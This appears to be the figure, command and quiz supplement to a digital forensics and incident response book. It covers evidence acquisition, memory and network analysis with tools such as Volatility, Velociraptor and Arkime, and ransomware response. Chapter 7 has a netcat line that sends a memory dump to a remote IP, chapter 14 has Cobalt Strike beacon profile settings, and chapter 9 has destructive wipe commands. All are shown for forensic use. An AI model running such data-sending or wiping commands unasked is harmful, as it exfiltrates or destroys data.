
  



Preface 
List of software and hardware 

Software/hardware covered in the audiobook 

Wireshark Encrypted Disk Detector 3.0.2 

FTK Imager 4.7.12 Security Onion 2.3 

WinPmem 2.0.1 Zeek 

Belkasoft Live RAM Capturer RITA 

Kroll gkape 1.2.0.0 Network Miner 2.7.3 

Velociraptor 0.6.4 Arkime 3.3.1 

Eraser 6.2.0.2993 Monolith Notes 

Volatility 3 Framework 2.2.0 Pestudio 9.3.7 

Volatility Workbench v3.0.1003 Process Explorer 

Autopsy 4.19.3 ClamAV 

Event Log Explorer 5.2 Maltego 4.3.1 

Skadi 2019.4  

Operating system requirements 

Windows 10 Ubuntu 20.04 

 
  



Chapter 1 

Images 

 

Figure 1.1 – NIST IR process 

 



 

Figure 1.2 – Social engineering playbook 

Questions 

Test your knowledge by seeing if you can answer the following questions: 

1. A table-top exercise should be conducted after changes are made to the IR plan 

and/or playbooks. 

• True 

• False 

2. Which of the following roles would not be a member of the CSIRT core team? 

• Incident coordinator 

• CSIRT analyst 

• Legal 

3. It is not important to have technical resources available as part of the IR 

framework to aid during an incident. 



• True 

• False 

4. A risk assessment is a valid data source for identifying high-risk incidents for 

playbook creation. 

• True 

• False 

Further reading 

You can refer to the following resources for more information about what we learned in 

this chapter: 

• Computer Security Incident Handling Guide, NIST SP 800-61 Rev. 2: 

https://csrc.Nist.gov/publications/detail/sp/800-61/rev-2/final 

• European Union Agency for Cybersecurity (ENISA)—Incident Handling in Live 

Role Playing Handbook: https://www.enisa.europa.eu/topics/trainings-for-

cybersecurity-specialists/online-training-material/documents/incident-

handling-in-live-role-playing-handbook/view 

• Incident Handler’s Handbook by Patrick Kral, SANS Reading Room: 

https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-

handbook-33901 
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Figure 2.1 – The SOC engagement model 

 

Figure 2.2 – A SOC integrated model 



 

Figure 2.3 – A fusion center model 

 

Figure 2.4 – The CIA triad 



 

Figure 2.5 – A system’s eradication and recovery architecture 

Questions 

1. Which of the following containment strategies is the most difficult to perform? 

• Physical 

• Network 

• Perimeter 

• Virtual 

2. A cyber security breach can have an impact on which of the following? 

• Confidentiality 

• Integrity 

• Availability 

• All of the above 



3. Attribution is critical and has to be completed for a successful incident 

investigation. 

• True 

• False 

Further reading 

• NIST SP 800-61 Rev 2, Computer Security Incident Handling Guide, at 

https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final 

• ENISA Incident Handling in Live Role Playing Handbook, at 
https://www.enisa. europa.eu/topics/trainings-for-

cybersecurity-specialists/online-training-

material/documents/incident-handling-in-live-role-

playing-handbook/view 

• Incident Handler’s Handbook by Patrick Kral, SANS Reading Room, at 

https://www.sans.org/reading-room/whitepapers/incident/incident-

handlers-handbook-33901 

• MITRE Ten Strategies of a World-Class Cybersecurity Operations Center, 

at https://www.mitre.org/sites/default/files/publications/pr-13-1028-mitre-

10-strategies-cyber-ops-center.pdf 

• Security Orchestration Automation and Response (SOAR) 
https://www.inquisitllc.com/wp-content/uploads/2020/05/White-Paper-

Security-Orchestration-Automation-and-Response.pdf 
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Figure 3.1 – The digital forensics process 



 

Figure 3.2 – The evidence chain of custody form 

 

Figure 3.3 – The Incident Information section on a chain of custody form 



 

Figure 3.4 – The Electronic Media Details section on a chain of custody form 

 

Figure 3.5 – The Image or File Details section on a chain of custody form 

 

Figure 3.6 – Chain of custody details 



 

Figure 3.7 – A physical write blocker 

 

Figure 3.8 – The DEFT digital forensics OS 



 

Figure 3.9 – The CAINE digital forensics OS 

 

Figure 3.10 – The SANS SIFT Workstation 



 

Figure 3.11 – The CSI Linux digital forensics OS 

 

Figure 3.12 – The REMNUX digital forensics OS 



 

Figure 3.13 – A digital forensics jump kit 



 

Figure 3.14 – Contents of a jump kit 

Questions 

1. What is not a federal rule of evidence? 

• A test for relevant evidence 

• Locard’s principle 

• A testimony by an expert witness 

• The Best Evidence Rule 

2. A proper chain of custody should be maintained to ensure the integrity of digital 

evidence. 

• True 

• False 

3. Which items should be included as part of a digital forensics jump kit? 

• A physical write blocker 



• Notepad and pen 

• Networking cables 

• All of the above 

4. What is NOT a portion of the forensic process? 

• Identification 

• Courtroom testimony 

• Collection 

• Analysis 

Further reading 

• The Digital Forensics Research Workshop: https://www.dfrws.org 

• ISACA’s Overview of Digital Forensics: http://www.isaca.org/Knowledge-

Center/Research/ResearchDeliverables/Pages/overview-of-digital-

forensics.aspx 

• Historical background on the FBI CART: 

https://www.ncjrs.gov/App/Publications/abstract.aspx?ID=137561 
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Figure 4.1 – Relationship between digital forensics, incident investigation and incident 

response 



 

Figure 4.2 – Types of incident investigation 

 

Figure 4.3 – A ten-step investigation methodology 



 

Figure 4.4 – The cyber kill chain 

 

Figure 4.5 – The diamond model 



 

Figure 4.6 – The diamond model relationship 

 

Figure 4.7 – An example of the diamond model 



 

Figure 4.8 – A combined kill chain and diamond model 

Questions 

1. The type of incident investigation that is concerned with determining whether 

an event is an incident or not is: 

• Attribution 

• Root cause 

• Detection 

• Intrusion analysis 

2. What is the first phase of the cyber kill chain? 

• Reconnaissance 

• Weaponization 

• Command and Control 

• Delivery 

3. Obtaining data during the Reconnaissance phase of the cyber kill chain is often 

difficult due to the lack of any connection to the target network. 

• True 

• False 
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Figure 5.1 – A sample network diagram 



 

Figure 5.2 – A NetFlow diagram 

 

Figure 5.3 – The tcpdump help menu 

 



Figure 5.4 – tcpdump capture interfaces 

 

Figure 5.5 – The tcpdump command output 

 

Figure 5.6 – The tcpdump output 



 

Figure 5.7 – Wireshark packet capture analysis 



 

Figure 5.8 – The Rawcap.exe menu 

 

Figure 5.9 – The output of a RawCap packet capture 



 

Figure 5.10 – Analysis of the RawCap file in Wireshark 

 

Figure 5.11 – Wireshark Capture interfaces 



 

Figure 5.12 – A Wireshark capture view 

 

Figure 5.13 – The mergecap help menu 



 

Figure 5.14 – A network evidence collection entry 

 

Figure 5.15 – The md5sum help menu 

 

Figure 5.16 – A md5sum file calculation 



Code and Commands 

Command 5.1 

arkime@arkime: :~$ tcpdump -h 

Command 5.2 

arkime@arkime::~$ tcpdump -D 

Command 5.3 

arkime@arkime:~$ sudo tcpdump -i ens160 -v 

Command 5.4 

arkime@arkime:~$ sudo tcpdump -i ens160 -vvv -w 

ping_capture 

Command 5.5 

arkime@arkime:~$ sudo tcpdump -i ens33 src host 

192.168.10.54 

Command 5.6 

arkime@arkime:~$ sudo tcpdump -i ens33 dst host 162.4.5.23 

Command 5.7 

D:\>RawCap.exe -help 

Command 5.8 

C:\ProgramData\chocolatey\bin\RawCap.exe 0 RawCap.pcap 

Command 5.9 

arkimie@arkime:~$mergecap -help 

Command 5.10 

arkime@arkime:~$mergecap -w switches.pcap switch1.pcap 

switch2.pcap switch3.pcap 

Command 5.11: 



arkime@arkime:~$md5sum --help 

Command 5.12: 

arkime@arkime:~$md5sum ping_capture 

Questions 

1. Which of these items are potential sources of network evidence? 

• Switches 

• Routers 

• Firewalls 

• All of the above 

2. Network diagrams are important in identifying potential areas where network 

evidence can be acquired. 

• True 

• False 

3. Which of the following is not a network forensic evidence capture tool? 

• RawCap 

• Wireshark 

• WinPcap 

• LogBeat 

4. When conducting evidence acquisition, it is not important to record the hash 

value of the file. 

• True 

• False 

Further reading 

• Wireshark training: https://www.chappell-university.com/ 

• Introduction to Cisco IOS NetFlow – A Technical Overview: 

https://www.cisco.com/c/en/us/products/collateral/ios-nx-os-software/ios-

netflow/prod_white_paper0900aecd80406232.html 
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Figure 6.1 – Digital evidence volatility 



 

Figure 6.2 – FTK Imager main window 

 

Figure 6.3 – FTK Imager memory capture 



 

Figure 6.4 – FTK Imager memory capture progress 

 

Figure 6.5 – FTK Imager page file extraction 

 

Figure 6.6 – FTK Imager memory capture success 



 

Figure 6.7 – FTK Imager output files 

 

Figure 6.8 – WinPmem help menu 



 

Figure 6.9 – WinPmem output 



 

Figure 6.10 – WinPmem output 



 

Figure 6.11 – RAM Capturer start window 

 

Figure 6.12 – RAM Capturer progress 



 

Figure 6.13 – RAM Capturer completion 

 

Figure 6.14 – FTK protected files acquisition 



 

Figure 6.15 – CyLR output 

 

Figure 6.16 – CyLR completion message 

 

Figure 6.17 – CyLR acquired files 



 

Figure 6.18 – KAPE GUI 

 

Figure 6.19 – Setting target source and destinations 



 

Figure 6.20 – SANS_Triage target 

 

Figure 6.21 – SANS target details 



 

Figure 6.22 – KAPE command-line command 

 

Figure 6.23 – Data destruction warning 

 

Figure 6.24 – KAPE command output 



 

Figure 6.25 – KAPE targets acquired 

 

Figure 6.26 – Details of KAPE acquired artifacts 

 

Code and Commands 

Command 6.1: 

E:\winpmem_mini_x64_rc2.exe -help 

Command 6.2: 

E:\winpmem_mini_x64_rc2.exe Acc_LT09.raw 

Command 6.3: 

C:\Program Files (x86)\VMware\VMware 

Workstation>vmss2core.exe suspect.vmss suspect.vmem 

Command 6.4: 

C:\wevtutil epl<Log Type> E:\<FileName>.evtx 



Command 6.5: 

.\kape.exe --tsource C: --tdest E:\Acct_LT009 --tflush --

target !SANS_Triage –gui 

Questions 

Answer the following questions to test your knowledge of this chapter: 

1. When looking at the order of volatility, which of the following evidence 

categories should be acquired first? 

• Random Access Memory 

• Pagefile or Swap File 

• Central Processing Unit, Registers 

• Storage Drive 

2. It is a good practice to acquire the pagefile with RAM if using FTK Imager. 

• True 

• False 

3. When recreating the memory from a virtual system, responders should acquire 

both the VMSS and VMEM file. 

• True 

• False 

Further reading 

For more information about the topics covered in this chapter, you can refer to the 

following: 

• Order of Volatility: 

https://www.forensicswiki.org/wiki/Digital_evidence#Order_of_Volatility 

• The Advanced Data Acquisition Model: 

https://researchrepository.murdoch.edu.au/id/eprint/14422/ 

• Best Practices in Digital Evidence Collection: https://digital-

forensics.sans.org/blog/2009/09/12/best-practices-in-digital-evidence-

collection/ 
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Figure 7.1 – Velociraptor setup 



 

Figure 7.2 – Velociraptor welcome screen 



 

Figure 7.3 – Configuring the Velociraptor YAML file 

 

Figure 7.4 – Velociraptor Agent intallation 



 

Figure 7.5 – Searching for clients 

 

Figure 7.6 – Client list 

 

Figure 7.7 – Client information 

 

Figure 7.8 – Accessing Shell 



 

Figure 7.9 – Windows netstat command output 

 

Figure 7.10 – Accessing the VFS 

 

Figure 7.11 – The VFS 



 

Figure 7.12 – Refresh buttons 

 

Figure 7.13 – Suspect DLL 

 

Figure 7.14 – Collecting files 



 

Figure 7.15 – Client list 

 

Figure 7.16 – Collection icon 

 

Figure 7.17 – Starting a new collection 



 

Figure 7.18 – Selecting artifacts 

 

Figure 7.19 – KAPE Targets details 



 

Figure 7.20 – Collection parameters 

 

Figure 7.21 – Collection parameters detail 



 

Figure 7.22 – Collection request review 

 

Figure 7.23 – Collection request progress 



 

Figure 7.24 – KAPE Targets ready for download 

 

Figure 7.25 – Acquired evidence 

Code and Commands 

Command 7.1: 

mkdir velociraptor 

Command 7.2: 



cd velociraptor 

Command 7.3: 

wget 

https://github.com/Velocidex/velociraptor/releases/download

/v0.6.4-  1/velociraptor-v0.6.4-1-linux-amd64  

Command 7.4: 

chmod +x velociraptor-v0.6.4-1-linux-amd64 

Command 7.5: 

./velociraptor-v0.6.4-1-linux-amd64 config generate > 

velociraptor.config.yaml 

Command 7.6: 

nano velociraptor.config.yaml 

Command 7.7: 

sudo mv velociraptor.config.yaml /etc 

Command 7.8: 

./velociraptor-v0.6.4-1-linux-amd64 --config 

/etc/velociraptor.config.yaml user add admin --role 

administrator 

Command 7.9: 

./velociraptor-v0.6.0-1-linux-amd64 --config 

/etc/velociraptor.config.yaml frontend -v 

Command 7.10: 

sudo nano /etc/velociraptor.config.yaml 

Command 7.11: 

use_self_signed_ssl: true 

Command 7.12: 

cd velociraptor 



Command 7.13: 

./velociraptor-v0.6.4-1-linux-amd64 --config 

/etc/velociraptor.config.yaml config client > 

client.config.yaml 

Command 7.14: 

wget 

https://github.com/Velocidex/velociraptor/releases/download

/v0.6.4-1/velociraptor-v0.6.4-windows-amd64.exe 

Command 7.15: 

./velociraptor-v0.6.0-1-linux-amd64 config repack --exe 

velociraptor-v0.6.0-1-windows-amd64.exe client.config.yaml 

Velociraptor_Agent.exe 

Command 7.16: 

CyLR.exe -u username -p password -s 192.168.0.15 

Command 7.17: 

C:/winpmem-2.1.exe - | nc 192.168.0.56 4455 

Questions 

Answer the following questions to test your knowledge of this chapter: 

1. In an incident investigation, it may not be necessary to obtain a full disk or 

memory image before an analysis can be conducted. 

• True 

• False 

2. Which of the following are not advantages of an EDR platform? 

• Cost 

• Scalability of investigation 

• Event alerting 

• Central management 

3. The one advantage to Velociraptor is that all of the processing is done on the 

Velociraptor server. 



• True 

• False 
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Figure 8.1 – Physical versus logical volumes 

 

Figure 8.2 – E01 file format 

 

Figure 8.3 – TRIM operations enabled 



 

Figure 8.4 – Setting Eraser task 

 

Figure 8.5 – Eraser drive selection 



 

Figure 8.6 – Erasure method selection 



 

Figure 8.7 – Erase Schedule 

 



Figure 8.8 – Packaging integrity check 

 

Figure 8.9 – Example disk photo 

 

Figure 8.10 – Physical write blocker setup 



 

Figure 8.11 – FTK Imager main menu 

 

Figure 8.12 – FTK Imager source selection 



 

Figure 8.13 – Suspect drive selection 

 

Figure 8.14 – FTK Imager Create Image window 



 

Figure 8.15 – FTK Imager Select Image Type window 

 

Figure 8.16 – FTK Imager Evidence Item Information window 



 

Figure 8.17 – FTK Imager Select Image Destination window 

 

Figure 8.18 – FTK Imager Create Image window 



 

Figure 8.19 – FTK Imager Creating Image window 

 

Figure 8.20 – FTK Imager result verification 



 

Figure 8.21 – Encrypted Disk Detector 

 



Figure 8.22 – ESXi VM files 

 

Figure 8.23 – fdisk output data 



 

Figure 8.24 – fdisk output data 

 

Figure 8.25 – UnBlock device selection 



 

Figure 8.26 – dc3dd command and output 

 

Figure 8.27 – Dc3dd imaging completion 

 

Figure 8.28 – Dc3dd output files 

Code and Commands 

Command 8.1: 

caine@caine:~$sudo fdisk -l 

Command 8.2 



caine@caine:~$ sudo mkdir /mnt/Disk_Images 

Command 8.3: 

caine@caine:~$sudo mount /dev/sdb2 /mnt/Disk_Images 

Command 8.4: 

caine@caine:~$ cd /mnt/Disk_Images 

Command 8.5: 

caine@caine:~$ mkdir Incident2022-034 

Command 8.6: 

caine@caine :/ mnt /Disk_Images$ cd Incident2022-034 

Command 8.7: 

caine@caine:/mnt/Disk_Images/Incident2022-034$ dc3dd 

if=dev/sda of=ACMELaptop056.img hash=md5 

log=ACMELaptop56.txt 

Code 8.1: 

dc3dd 7.2.646 started at 2022-05-24 22:17:14 +0200 

compiled options: 

command line: dc3dd if=/dev/sda of=ACMELaptop056.img 

hash=md5 log=ACMELaptop56.txt 

device size: 937703088 sectors (probed),   480,103,981,056 

bytes 

sector size: 512 bytes (probed) 

480103981056 bytes ( 447 G ) copied ( 100% ), 11176,1 s, 41 

M/s 

input results for device `/dev/sda': 

   937703088 sectors in 

   0 bad sectors replaced by zeros 

   9fc8eb158e5665a05875f4f5f2e6f791 (md5) 



output results for file `ACMELaptop056.img': 

   937703088 sectors out 

dc3dd completed at 2022-05-25 01:23:30 +0200 

Questions 

1. What are the two types of write blockers? (Select two) 

• Hardware 

• Digital 

• Software 

• Court-approved 

2. Responders should ensure that any storage drive that’s used for imaging is 

properly sanitized before each use. 

• True 

• False 

3. What type of imaging is used to acquire the entire physical volume of a drive? 

• Dead imaging 

• Live imaging 

• Remote imaging 

• Hardware imaging 

4. Which imaging application is found only on Linux systems? 

• FTK Imager 

• EnCase Imager 

• AFF4 

• dd 

Further reading 

Refer to the following resources for more information about the topics covered in this 

chapter: 

• FTK Imager Guide: 

https://d1kpmuwb7gvu1i.cloudfront.net/Imager/4_7_1/FTKImager_UserG

uide.pdf 



• NIST Computer Forensic Tools & Techniques Catalog: 

https://toolcatalog.nist.gov/search/index.php?ff_id=1 

• An Overview of Disk Imaging Tool in Computer Forensics: 

https://www.sans.org/reading-room/whitepapers/incident/overview-disk-

imaging-tool-computer-forensics-643 
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Figure 9.1 – Sample NetFlow data 

 

Figure 9.2 – DNS query count 

 

Figure 9.3 – Zeek log files 



 

Figure 9.4 – RITA Zeek log import 

 



Figure 9.5 – RITA features 

 

Figure 9.6 – RITA Beacon analysis 

 

Figure 9.7 – RITA Beacon Fully Qualified Domain Name 

 

Figure 9.8 – NetworkMiner GUI 



 

Figure 9.9 – NetworkMiner’s Files tab 

 

Figure 9.10 – Suspect files 



 

Figure 9.11 – Arkime PCAP import 

 

Figure 9.12 – Arkime GUI dashboard 

 

Figure 9.13 – HTTP port 80 query 



 

Figure 9.14 – HTTP session data 

 

Figure 9.15 – Arkime URI data 

 

Figure 9.16 – Session data 



 

Figure 9.17 – HTTP session data 

 

Figure 9.18 – Arkime connections graph 



 

Figure 9.19 – Wireshark IP address view 



 

Figure 9.20 – Wireshark domain name view 



 

Figure 9.21 – Wireshark – Coloring Rules Classic 



 

Figure 9.22 – Source address filter 



 

Figure 9.23 – Packet data 

 

Figure 9.24 – HTTP packet view 



 

Figure 9.25 – Follow HTTP Stream 



 

Figure 9.26 – HTTP packet data 



 

Figure 9.27 – Wireshark – Export – HTTP object list 

Code and Commands 

Command 9.1: 

sansforensics@siftworkstation: ~$ mergecap 

packetcapture1.pcap packetcapture2.pcap 

Command 9.2: 

sansforensics@siftworkstation: ~$ editcap -F pcap -c 

evidence.pcap split.pcap 

Command 9.3: 

sansforensics@siftworkstation: ~$ editcap -F pcap-t+600 

evidence.pcap split.pcap 



Command 9.4: 

dfir@ubuntu:~$ sudo apt-get install dnstop 

Command 9.5: 

dfir@ubuntu:~/Documents/Packet Captures$ DN stop 2022-03-

21-Hancitor-with-Cobalt-Strike-and-Mars-Stealer.pcap 

Command 9.6: 

dfir@ubuntu:~/rita$ sudo chmod +x ./install.sh 

Command 9.7: 

dfir@ubuntu:~/rita$ ./install.sh 

Command 9.8: 

dfir@ubuntu:~/rita$ zeek -C -r IcedId.pcap  

Command 9.9: 

dfir@ubuntu:~/rita$ rita import *.log IcedID 

Command 9.10: 

dfir@ubuntu:~/rita$ rita 

Command 9.11: 

dfir@ubuntu:~/rita$ rita show-beacons IcedID 

Command 9.12: 

dfir@ubuntu:~/rita$ rita show-beacons-fqdn IcedID 

Command 9.13: 

arkime@arkime:/opt/arkime/bin$ sudo ./capture -r 

/home/offlinecaps/2022-02-25-Emotet-epoch4-with-spambot-

activity.pcap 

Command 9.14: 

/opt/arkime/db/db.pl http://ESHOST:9200 wipe 

Command 9.15: 



/bin/rm -f /opt/arkime/raw/* 

Questions 

Answer the following questions to test your knowledge of this chapter: 

1. A filtered log review is one where the responder or analyst filters out specific 

logs based on a set parameter. 

• True 

• False 

2. What is not a component of the Elastic Stack? 

• Elasticsearch 

• Log forwarder 

• Logstash 

• Kibana 

3. Which packet analysis tool places the packet capture into sessions as the default 

view? 

• Wireshark 

• NetFlow 

• Elastic Stack 

• Arkime 

4. Wireshark does not allow for DNS name resolution. 

• True 

• False 

Further reading 

Refer to the following links for more information about the topics covered in this 

chapter: 

• Elasticsearch 7.0 Cookbook - Fourth Edition: 

https://www.packtpub.com/big-data-and-business-

intelligence/elasticsearch-70-cookbook-fourth-edition. 

• Malware traffic analysis: https://www.malware-traffic-analysis.net. 

• Arkime: https://arkime.com/. 

• Chappell University: https://www.chappell-university.com/. 



• Cisco IOS NetFlow: https://www.cisco.com/c/en/us/products/ios-nx-os-

software/ios-netflow/index.html. 
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Figure 10.1 – Installing Volatility 

 

Figure 10.2 – Verifying the Volatility installation 



 

Figure 10.3 – Volatility help menu 

 

Figure 10.4 – The windows.info plugin 



 

Figure 10.5 – Process list 

 



Figure 10.6 – Process scan 

 

Figure 10.7 – Process tree 

 

Figure 10.8 – Suspicious processes 

 

Figure 10.9 – Associated DLL files 



 

Figure 10.10 – Handles output 

 

Figure 10.11 – LDR modules output 



 

Figure 10.12 – Malfind output 



 

Figure 10.13 – Dumpfiles output  

 

Figure 10.14 – Hex view of reader_sl.exe 



 

Figure 10.15 – VirusTotal results 

 

Figure 10.16 – Volatility Workbench 



Code and Commands 

Command 10.1: 

forensics@ubuntu:~$ git clone 

https://github.com/volatilityfoundation/volatility3.git 

Command 10.2: 

forensics@ubuntu:~/volatility3$ python3 vol.py -f <Memory 

Image File> <operatingsystem.plugin> 

Command 10.3: 

forensics@ubuntu:~/volatility3$ python3 vol.py -f 

/home/forensics/EvidenceFiles/MemoryImages/cridex.vmem 

windows.info 

Command 10.4: 

forensics@ubuntu:~/volatility3$ python3 vol.py -f 

/home/forensics/EvidenceFiles/MemoryImages/cridex.vmem 

windows.pslist 

Command 10.5: 

forensics@ubuntu:~/volatility3$ python3 vol.py -f 

/home/forensics/EvidenceFiles/MemoryImages/cridex.vmem 

windows.psscan 

Command 10.6: 

forensics@ubuntu:~/volatility3$ python3 vol.py -f 

/home/forensics/EvidenceFiles/MemoryImages/cridex.vmem 

windows.pstree 

Command 10.7: 

forensics@ubuntu:~/volatility3$ python3 vol.py -f 

/home/forensics/EvidenceFiles/MemoryImages/cridex.vmem 

windows.dlllist --pid 1640 

Command 10.8: 



forensics@ubuntu:~/volatility3$ python3 vol.py -f 

/home/forensics/EvidenceFiles/MemoryImages/cridex.vmem 

windows dot handles --pid 1640 

Command 10.9: 

forensics@ubuntu:~/volatility3$ python3 vol.py -f 

/home/forensics/EvidenceFiles/MemoryImages/cridex.vmem 

windows.ldrmodules –pid 1640 

Command 10.10: 

forensics@ubuntu:~/volatility3$ python3 vol.py -f 

/home/forensics/EvidenceFiles/MemoryImages/cridex.vmem 

windows.malfind 

Command 10.11: 

forensics@ubuntu:~/volatility3$ python3 vol.py -f 

/home/forensics/EvidenceFiles/MemoryImages/cridex.vmem -o 

/home/forensics/EvidenceFiles/PID1640Dump/ 

windows.dumpfiles --pid 1640 

Command 10.12: 

forensics@ubuntu:~/EvidenceFiles/PID1640Dump$ md5sum 

file.0x821ccf90.0x82137c08.ImageSectionObject.reader_sl.exe

.img 

Command 10.13: 

forensics@ubuntu:~$ sudo apt install binutils 

Command 10.14: 

forensics@ubuntu:~$  strings <file name> | grep <Regular 

Expression>  

Command 10.15: 

forensics@ubuntu:~$  strings pagefile.sys | grep -oE 

"\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" 

Command 10.16: 



forensics@ubuntu:~$  strings pagefile.sys  | grep 

"^https?://" | sort | uniq | less  

Command 10.17: 

forensics@ubuntu:~$ strings pagefile.sys | egrep 

'([[:alnum:]_.-]{1,64}+@[[:alnum:]_.-

]{2,255}+?\.[[:alpha:].]{2,4})' 

Questions 

Answer the following questions to test your knowledge of this chapter: 

1. What are some of the data points that can be found via memory analysis? 

• Running processes 

• Network connection 

• Command history 

• All of the above 

2. What is not part of the network connections methodology? 

• Process name 

• Parent process ID 

• Check for signs of a rootkit 

• Associated entities 

3. Dumping files associated with a process will never introduce malware into a 

responder’s system. 

• True 

• False 

4. One of the primary goals of memory analysis is to acquire malicious processes 

or executables for further analysis. 

• True 

• False 

Further reading 

For more information about the topics covered in this chapter, refer to the following: 



• SANS Memory Forensics Cheat Sheet: https://digital-

forensics.sans.org/blog/2017/12/11/updated-memory-forensics-cheat-

sheet 

• The Art of Memory Forensics: https://www.memoryanalysis.net/amf 
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Code and Commands 

Command 11.1: 

C:\Users\forensics\Documents\ZimmmermanTools>MFTECmd.exe -f 

"D:\Suspect_$MFT" --csv "D:" --csvf SuspectMFT.csv 

Command 11.2: 



C:\Users\forensics\Documents\ZimmmermanTools>PECmd.exe -d 

D:\Suspect_Prefetch -q --csv D:\ --csvf 

suspect_prefetch.csv 

Questions 

Answer the following questions to test your knowledge of this chapter: 

1. What are some of the features that are available with commercial and open 

source forensic platforms? 

• Hex viewer 

• Email carving 

• Metadata viewer 

• All of the above 

2. In what registry hive could an incident responder find USBs that have been 

connected to the system? 

• SAM 

• Security 

• System 

• User profile 

3. Web history may provide data on a phishing URL that’s been accessed by the 

system. 

• True 

• False 

4. Which of the following is not a Windows registry hive? 

• System 

• SAM 

• Storage 

• Software 

Further reading 

For more information about the topics covered in this chapter, refer to the following 

resources: 

• Autopsy GitHub: https://github.com/sleuthkit/autopsy 



• Eric Zimmerman Tools: https://ericzimmerman.github.io/#!index.md 

• Eric Zimmerman Tools Cheat Sheet: https://www.sans.org/posters/eric-

zimmerman-tools-cheat-sheet/ 

• Registry Analysis with FTK Registry Viewer: 

https://subscription.packtpub.com/book/networking_and_servers/9781784

390495/6/ch06lvl1sec37/registry-analysis-with-ftkregistry-viewer 

• Windows Registry Analysis 101: 

https://www.forensicfocus.com/articles/windows-registry-analysis-101/ 
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Code and Commands 

Command 12.1: 

C:\Users\JSmith\Desktop>CyLR.exe -s 192.168.207.130:22 -u 

admin -p password 

Command 12.2: 

PS C:\Users\madno\Desktop\DeepBlueCLI-master\DeepBlueCLI-

master> .\DeepBlue.ps1 -log security 

C:\Users\madno\Desktop\Logs\Security.evtx 

Command 12.3: 

PS C:\Users\madno\Desktop\DeepBlueCLI-master\DeepBlueCLI-

master> .\DeepBlue.ps1 -log system 

C:\Users\madno\Desktop\Logs\System.evtx 

Command 12.4: 

PS C:\Users\madno\Desktop\DeepBlueCLI-master\DeepBlueCLI-

master> .\DeepBlue.ps1 

C:\Users\madno\Desktop\Logs\Microsoft-Windows-

PowerShell%4Operational.evtx 

Command 12.5: 

skadi@skadi:~$ cdqr in:DESKTOP-SKPTDIO.zip out:Results -p 

win --max_cpu -z --es_kb DESKTOP-SKPTDIO 

Questions 

Answer the following questions to test your knowledge of this chapter: 

1. For effective log management, an organization should establish logging as a 

normal business practice. 

• True 

• False 

2. Which is not one of the functions of a SIEM? 

• Log retention 

• Automated response 



• Alerting 

• Log aggregation 

3. Which of these is not part of the Elastic Stack? 

• Kibana 

• Elasticsearch 

• Log response 

• Logstash 

4. Locard’s exchange principle states that when two objects come into contact 

with each other, they leave traces. 

• True 

• False 

Further reading 

For more information about the topics that were covered in this chapter, refer to the 

following resources: 

• Windows Security Log Events: 

https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/ 

• Graylog: https://github.com/Graylog2 

• Skadi: https://github.com/orlikoski/Skadi 

• Applied Incident Response Windows Event Log Analysis: 

https://forwarddefense.com/media/attachments/2021/05/15/windows-

event-log-analyst-reference.pdf 
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Figure 13.10 – Monolith Notes filter 

Tables 

Date Time 

(UTC) 

Description Performed 

by 

6/17/22 19:08 Firewall IPS sensor alerted to possible C2 activity. 

Escalated by the SOC to the CSIRT for analysis and 

response. 

Bryan Davis 

6/17/22 19:10 Examined firewall log and determined that host 

10.25.4.5 had connected to a known malware C2 

server. 

John Q. 

Examiner 

6/17/22 19:14 Used Carbon Black EDR to isolate the endpoint 

10.25.4.5 from further network communication. 

John Q. 

Examiner 

6/17/22 19:16 Retrieved Prefetch files from 10.25.4.5 via 

Velociraptor for analysis. 

John Q. 

Examiner 

Table 13.1 – Events timeline log 

Questions 

Answer the following to test your knowledge of this chapter: 

1. What is not part of a forensic report? 

• The tools utilized 



• Examiner biography / CV 

• Notes 

• Exhibit list 

2. When preparing an incident report, it is necessary to take into account the 

audience that will read it. 

• True 

• False 

3. Which of these is a data source that can be leveraged in preparing an incident 

report? 

• Applications 

• Network/host devices 

• Forensic tools 

• All of the above 

4. Incident responders should never include a root cause analysis as part of the 

incident report. 

• True 

• False 

Further reading 

Refer to the following for more information about the topics covered in this chapter: 

• Intro to Report Writing for Digital Forensics: https://digital-

forensics.sans.org/blog/2010/08/25/intro-report-writing-digital-forensics/ 

• Understanding a Digital Forensics Report: 

http://www.legalexecutiveinstitute.com/understanding-digital-forensics-

report/ 

• Digital Forensics Report, Ryan Nye: http://rnyte-cyber.com/uploads/9/8/5/9/ 

98595764/exampledigiforensicsrprt_by_ryan_nye.pdf 

• Magnet Forensics Guide on Technical Level Findings: 

https://www.magnetforensics.com/resources/reporting-findings-at-a-

technical-level-in-digital-forensics-a-guide-to-reporting/ 

  

http://rnyte-cyber.com/uploads/9/8/5/9/98595764/exampledigiforensicsrprt_by_ryan_nye.pdf
http://rnyte-cyber.com/uploads/9/8/5/9/98595764/exampledigiforensicsrprt_by_ryan_nye.pdf
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Figure 14.8 – Mimikatz 

Code and Commands 

Code 14.1: 

set sleeptime "5000"; 

set jitter    "0"; 

set maxdns    "255"; 



set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; 

Trident/7.0; rv:11.0) like Gecko"; 

Code 14.2: 

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Lanman

Server\Parameters 

Command 14.1: 

for %i in (C$ IPC$ ADMIN$) do net share %i /delete OR net 

stop LanmanServer 

Questions 

Answer the following questions to test your knowledge of this chapter: 

1. Which threat actor is related to both Ryuk and Conti? 

• AtomicSquirrel 

• BadWitch 

• Wizard Spider 

• BlackEnergy 

2. In the event of a Domain Controller compromise, it is important to perform a 

global password reset. 

• True 

• False 

3. What is the critical component that drives ransomware? 

• Commonly available RATs 

• Cryptocurrency 

• Commercial penetration testing tools 

• Poor security hygiene 

4. Threat actor lateral movement can be inhibited by which of the following? 

• MFA 

• Limiting RDP 

• Limiting SMB 

• All of the above 



Further reading 

Refer to the following resources for more details about the topics covered in this 

chapter: 

• Preventing Ransomware: https://www.packtpub.com/product/preventing-

ransomware/9781788620604 

• Incident Response Techniques for Ransomware Attacks: 

https://www.packtpub.com/product/incident-response-techniques-for-

ransomware-attacks/9781803240442 

  

https://www.packtpub.com/product/incident-response-techniques-for-ransomware-attacks/9781803240442
https://www.packtpub.com/product/incident-response-techniques-for-ransomware-attacks/9781803240442
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Figure 15.15 – Results 

 

Figure 15.16 – RunDll32 Prefetch entry 
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Figure 15.18 – ProcDump Sysmon entry 
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Figure 15.20 – Cobalt Strike PowerShell Event Log entry 
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Figure 15.34 – SMB logon event log entry 



 

